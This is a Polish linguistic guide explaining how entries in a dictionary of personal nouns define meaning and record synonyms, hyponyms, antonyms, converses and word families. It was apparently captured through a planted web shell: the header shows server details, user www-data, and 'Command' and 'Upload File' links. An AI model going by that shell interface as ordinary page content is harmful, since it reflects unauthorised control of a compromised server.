|
Server IP : 10.2.73.233 / Your IP : 216.73.216.59 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/slownik/web/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<b> <div style="text-align: justify; line-height: 180%"><div><p><b><font size="4"><a name="_Toc310981477">2. Jak są zbudowane hasła <i>w Słowniku nazw osobowych</i> i czego można się dowiedzieć z ich poszczególnych części?</a></font></b></p></div> <p><font size="3"><b><a name="2.1">2.1. Informacje o znaczeniu słowa (semantyka)</a></font></b></p> <div style="text-align: justify; line-height: 180%"></b> <div style="text-align: justify; line-height: 180%"> Jak łatwo zauważyć, każda z naszych definicji rozpoczyna się od jednego z pięciu wyrażeń: <i>ktoś, osoba, osoba płci męskiej, osoba płci żeńskiej, osoba niedorosła</i>. Są to tzw. ujednolicone wyznaczniki nadrzędnego elementu znaczeniowego i pozwalają uporządkować wszystkie nazwy osobowe na następujące klasy:</div> <div style="text-align: justify; line-height: 180%"><span>·<span> </span></span><i>ktoś</i> – używane w wypadku nazw odnoszących się zarówno do ludzi, jak i do innych bytów (zwierząt, instytucji – informację, o który obiekt chodzi, znajdziemy w kolokacjach, w informacji pragmatycznej oraz w przykładach),</div> <div style="text-align: justify; line-height: 180%"><span>·<span> </span></span><i>osoba</i> – jeżeli nazwa jest używana wyłącznie w odniesieniu do ludzi, niezależnie od ich płci oraz wieku,</div> <div style="text-align: justify; line-height: 180%"><span>·<span> </span></span><i>osoba płci męskiej</i> – w wypadku nazw używanych wyłącznie w odniesieniu do mężczyzn,</div> <div style="text-align: justify; line-height: 180%"><span>·<span> </span></span><i>osoba płci żeńskiej</i> - w wypadku nazw używanych wyłącznie w odniesieniu do kobiet,</div> <div style="text-align: justify; line-height: 180%"><span>·<span> </span></span><i>osoba niedorosła</i> - w wypadku nazw używanych wyłącznie w odniesieniu do osób uznawanych za dzieci lub nastolatków,<br/><br/></div> <div style="text-align: justify; line-height: 180%"> Nasze definicje mają postać imiesłowowych równoważników zdań, tylko wyjątkowo stosujemy formę zdaniową (czas przeszły) dla tych leksemów, które charakteryzują ludzi ze względu na coś, co się już zdarzyło, np. <i>odkrywca</i> – „osoba, która coś odkryła”.<br/><br/></div> <div style="text-align: justify; line-height: 180%"> Punkt wyjścia dla definicji w <i>Słowniku nazw osobowych </i>stanowiły wyjaśnienia znaczenia wyrazów w USJP. Na podstawie danych z korpusu tekstów, samodzielnie zebranych przykładów, testów i analiz semantycznych ustalaliśmy nadrzędny element znaczeniowy, ocenialiśmy, czy w znaczeniu wyrazu zaszły ewentualne zmiany lub przesunięcia semantyczne (w tym zawężenie, rozszerzenie, przesunięcie zakresu odniesienia). Następnie na tej podstawie tworzyliśmy własne definicje.<br/><br/></div> <div style="text-align: justify; line-height: 180%"> Wyrazy objaśniamy za pomocą jednostek semantycznie prostszych, unikamy także definicji synonimicznych i błędnych kół. Nie dopuszczaliśmy również kolejnego wymieniania bardzo podobnych sformułowań w definicjach, ponieważ uważamy, że nie wnoszą one żadnej dodatkowej informacji, a jedynie zaciemniają znaczenie.<br/><br/></div> <div style="text-align: justify; line-height: 180%"> W niektórych wypadkach, jeśli istnieją dwie pary leksemów o podobnym znaczeniu i kształcie, a jeden z nich jest nacechowany stylistycznie, podczas gdy drugi nie, wówczas od leksemu nacechowanego odsyłamy do leksemu nienacechowanego za pomocą hiperłącza, np. <i>wysłaniec</i> zob. <i>wysłannik</i>. W wypadkach takich dla ułatwienia po odsyłaczu podajemy również definicję (identyczną jak przy haśle, do którego odsyłamy).<br/><br/></div> <div style="text-align: justify; line-height: 180%"> Jeżeli nacechowane ekspresywnie jest elementem znaczenia wyrazu, to wówczas odzwierciedlamy fakt nacechowania w definicji leksemu, używając formy miejscownika, np. <i>żabojad</i> ’o osobie pochodzenia francuskiego’, a informację o nacechowaniu stylistycznym wyrazu odnotowujemy w rubryce poświęconej pragmatyce.<br/><br/></div> <div style="text-align: justify; line-height: 180%"> W SNO są obecne takie klasy wyrażeń, które mają podobną budowę (strukturę morfologiczną), trudno dla nich zbudować definicję realnoznaczeniową, a jednocześnie nie można definicji określić za pomocą reguły słowotwórczej. W ich wypadku sama definicja językowa przypomina tautologię (np. <i>empirysta</i> – <i>zwolennik empiryzmu</i>). Wówczas na prawach wyjątku rozszerzaliśmy taką definicję o informację encyklopedyczną, podaną w nawiasie kwadratowym (aby wyraźnie zaznaczyć, że nie jest to ani informacja o semantyce, ani też o użyciu wyrazu w wypowiedzi).<br/><br/></div> <div style="text-align: justify; line-height: 180%"> W rubryce „relacje semantyczne” podajemy informacje dotyczące relacji znaczeniowych między wyrazami. Każda jednostka podawana w rubryce „relacje” jest zarazem jednostką opisaną w słowniku w postaci osobnego artykuły hasłowego (hiperłącza).</div> <div style="text-align: justify; line-height: 180%"> Opisujemy trzy typy relacji semantycznych: bliskoznaczniki, antonimy i konwersy. Poszczególne wyrazy w rubryce zostały opatrzone hiperłączem, dzięki czemu istnieje możliwość przemieszczania się między hasłami opisującymi wyrazy pozostające w relacjach semantycznych. Za <nobr>M. Grochowskim</nobr> oraz Z. Zaron przyjmujemy, że relacje synonimii i antonimii można opisywać, odwołując się do podstawowych operacji logicznych. W wypadku relacji konwersji odwołujemy się do narzędzi wypracowanych przez <nobr>J. Apresjana.</nobr><br/><br/></div> <div style="text-align: justify; line-height: 180%"> Pod etykietą <i>bliskoznaczniki</i> znajdą się zarówno wyrazy będące synonimami (wyrazami równoznacznymi), jak i hiponimami (wyrazami o węższym znaczeniu) leksemu opisywanego w haśle. Przez synonimy rozumiemy takie wyrażenia, w wypadku których, jeśli użyjemy ich w zdaniach, zdania te będą w stosunku do siebie w relacji wzajemnej implikacji<a href="#_ftn5" name="_ftnref5" title=""><span><span><span>[1]</span></span></span></a>, np. <i>jeśli ktoś jest kolaborantem, to jest kolaboracjonistą</i> i odwrotnie: <i>jeśli ktoś jest kolaboracjonistą, to jest kolaborantem</i>. Za hiponimy leksemu opisywanego w haśle uznajemy takie wyrazy, które pozostają z tym leksemem w relacji jednostronnej implikacji, np. przy haśle NARODOWIEC: <i>Jeśli ktoś jest nacjonalistą, to jest narodowcem</i>, ale nie każdy, kto jest <i>narodowcem</i>, musi być zarazem <i>nacjonalistą</i>. Zatem <i>nacjonalista </i>jest hiponimem <i>narodowca </i>(czyli wyrazem, który ma znaczenie węższe niż <i>narodowiec</i>)<a href="#_ftn6" name="_ftnref6" title=""><span><span><span>[2]</span></span></span></a>.<br/><br/></div> <div style="text-align: justify; line-height: 180%"> Antonimia to relacja semantyczna zachodząca między dwoma leksemami, z których znaczenie jednego jest zaprzeczeniem znaczenia drugiego. Również tę relację można badać, używając leksemów w zdaniach, odpowiadających formułom logicznym. Np. <i>wróg</i> jest antonimem wyrazu <i>przyjaciel</i>, ponieważ zdanie <i>Z tego, że Jan jest wrogiem Marka, wynika Jan nie jest jego przyjacielem.</i> jest zawsze prawdziwe. Natomiast zdanie <i>Z tego, że Jan nie jest przyjacielem Marka, wynika, że jest jego wrogiem.</i> może być w pewnych okolicznościach prawdziwe, ale nie musi (np. Jan może być kolegą Marka i nie czuć do niego wiele więcej ponad zwykłą życzliwość).<br/><br/></div> <div style="text-align: justify; line-height: 180%"> Za J. Apresjanem przyjmujemy, że dwa leksemy pozostają w relacji konwersji, jeśli należą one do tej samej części mowy, odnoszą się do tego samego zdarzenia, choć ujmują je z przeciwnych biegunów. Na poziomie składniowym jednostki takie muszą spełnić dwa warunki. Po pierwsze, każdy z nich powinien otwierać co najmniej dwie pozycje składniowe (taki warunek może zostać spełniony w wypadku nazw osobowych, gdyż w użyciu predykatywnym każda taka nazwa otwiera z lewej strony miejsce dla podmiotu w mianowniku, por. informacje o składni). Po drugie, ich pozycje składniowe są symetryczne, tzn. lewostronna pozycja leksemu 1. odpowiada prawostronnej pozycji leksemu 2. i odwrotnie. Pozycje te zamieniają swoje miejsca, ale ich znaczenie się nie zmienia. Najłatwiej zilustrować to na przykładzie dwóch czasowników, będących konwersami: <i>kupić</i> i <i>sprzedać</i>. Jeżeli <i>Jan kupił coś od Pawła, </i>to <i>Paweł sprzedał to Janowi. </i>Ta sama sytuacja opisywana przez oba czasowniki, to zdarzenie polegające na tym, że przedmiot zmienia właściciela w ramach pewnej wymiany. Jeden czasownik opisuje to zdarzenie z punktu widzenia tego, kto przedmiot aktualnie posiada i chce go przekazać (Paweł). Drugi – z punktu widzenia tego, kto przedmiotu aktualnie nie ma, ale dąży do jego posiadania (Jan). Otóż, relacja taka możliwa jest możliwa w odniesieniu do wszystkich tych jednostek języka, które spełniają opisane powyżej warunki (a skoro je spełniają, to z założenia muszą być predykatami) – w tym również w odniesieniu do nazw osobowych.<br/><br/></div> <div style="text-align: justify; line-height: 180%"> Ostatnim elementem składającym się na informację semantyczną o wyrazie jest rubryka „gniazdo leksykalne”. Znajdują się tu wyrazy pozostające w relacji słowotwórczej z omawianym leksemem, np. w wypadku jednostki <i>nauczyciel </i>- <i>nauczycielka, nauczycielstwo, nauczać</i>, <i>nauczycielski, </i>przy czym istotna była dla nas żywa motywacja słowotwórcza. Oznacza to, że związek między wyrazami musi być żywy – zatem np. przy leksemie <i>kompan</i> nie podajemy jednostek <i>akompaniament</i> i <i>akompaniować.</i> Interesują nas jednostki od połowy XX w., dlatego nie podajemy formacji typu z<i>dzirzyć</i> przy haśle <i>zdzira</i>. Nie uwzględniamy również okazjonalizmu, czyli wyrazów, które zostały utworzone na potrzeby chwili i ich przejrzystość słowotwórcza jest uwarunkowana sytuacyjnie. Jeśli dana sytuacja przestanie być żywa w świadomości użytkowników języka, wówczas okazjonalizm przestanie być zrozumiały. Doświadczenie uczy, że takich językowych „jednodniówek” nie warto umieszczać w słownikach.</div> <div style="text-align: justify; line-height: 180%"> W gnieździe leksykalnym pomijamy przysłówki regularnie tworzone od przymiotników oraz gerundia (regularnie tworzone rzeczowniki odczasownikowe nazywające czynności i stany), jeśli nie mają wyraźnie odrębnego znaczenia lub nie są używane w utartych powiedzeniach, w których mogą występować tylko w formie gerundialnej (a nie osobowej).</div> <div style="text-align: justify; line-height: 180%"> Wyrazy znajdujące się w gnieździe uporządkowaliśmy według części mowy: rzeczownik, czasownik, przymiotnik, ewentualnie przysłówek.<br/><br/></div> <div><br clear="all" /></div> <hr align="left" width="33%" size="1" /> <div id="ftn5" style="text-align: justify"> <a title="" name="_ftn5" href="#_ftnref5"><span><span><span>[1]</span></span></span></a> Stosując pewien skrót myślowy, dalej będziemy mówili, że leksemy pozostają między sobą w relacji implikacji. Za każdym razem należy jednak pamiętać, że <i>de</i> <i>facto</i> mowa tu o zdaniach z tymi wyrazami użytymi w orzeczniku. </div> <div id="ftn6" style="text-align: justify"> <a title="" name="_ftn6" href="#_ftnref6"><span><span><span>[2]</span></span></span></a> W słowniku obecna jest również liczna klasa wyrazów takich, jak np.<i> kolaborant </i>i <i>kolaboracjonista</i>, czy <i>gastronom</i> i <i>gastronomik</i>. Wiele z nich różni się nacechowaniem stylistycznym czy zakresem odniesienia. Niektóre natomiast są synonimami zupełnymi w rozumieniu J. D. Apresjana. W wypadku tego typu jednostek można obserwować zjawisko bliskie temu, które we fleksji nazywa się wariantywnością. Więcej na ten temat zob. Natalia Siudzińska, Marzena Stępień, 2011, <i>Wariantywność polskich rzeczowników na przykładzie pospolitych nazw osobowych. Rozważania na marginesie projektu „Synchroniczno-diachroniczne badania nad współczesnymi nazwami osobowymi”</i>, [w:] <i>Osoby i działania</i>, red. Z. Zaron, S. Dubisz, Warszawa.</div> <div> </div>